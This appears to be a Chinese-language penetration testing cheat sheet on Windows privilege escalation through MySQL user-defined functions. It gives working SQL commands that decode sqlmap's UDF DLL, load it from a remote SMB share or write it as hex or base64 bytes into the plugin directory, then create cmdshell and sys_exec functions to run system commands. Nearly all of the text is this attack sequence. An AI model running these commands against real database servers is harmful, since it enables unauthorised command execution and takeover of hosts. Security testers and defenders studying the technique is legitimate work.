WEB渗透Win提权篇-MYSQL-udf

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Udf: sqlmap-master\udf\mysql\windows\

>python sqlmap/extra/cloak/cloak.py lib_mysqludf_sys.dll _ 

Mysql>5.1 udf.dll放置在lib\plugin Mysql<5.1 udf.dll放置在c:\windows\system32

#show variables like '%compile%'; 查看系统版本
#select @@plugin_dir 查看插件目录

放入udf

#select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll"; 

或将udf十六进制编码后写入

#select hex(load_file('udf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; 
#select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";

或将udf base64编码后写入(MySQL 5.6.1和MariaDB 10.0.5)

#select to_base64(load_file('/usr/udf.dll')) into dumpfile '/tmp/udf.b64';
#select from_base64(“xxxxx”) into dumpfile "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";

或创建表拼接十六进制编码

#create table temp(data longblob); 
#insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d); 
#update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b3); 
#select data from temp into dump file "D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll";

或

#insert into temp(data) values(hex(load_file('D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll')));
#SELECT unhex(cmd) FROM mysql.temp INTO DUMPFILE 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll ';

或使用快速导入数据

#load data infile '\\\\192.168.0.19\\network\\udf.hex'
#into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); 
#select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.2\\lib\\plugin\\udf.dll';

创建函数
#create function cmdshell returns string soname 'udf.dll';
#create function sys_exec returns int soname 'udf.dll';
执行命令
#select cmdshell('whoami'); 
#select sys_exec(''whoami''); 
删除函数
#drop function cmdshell;
#drop function sys_exec;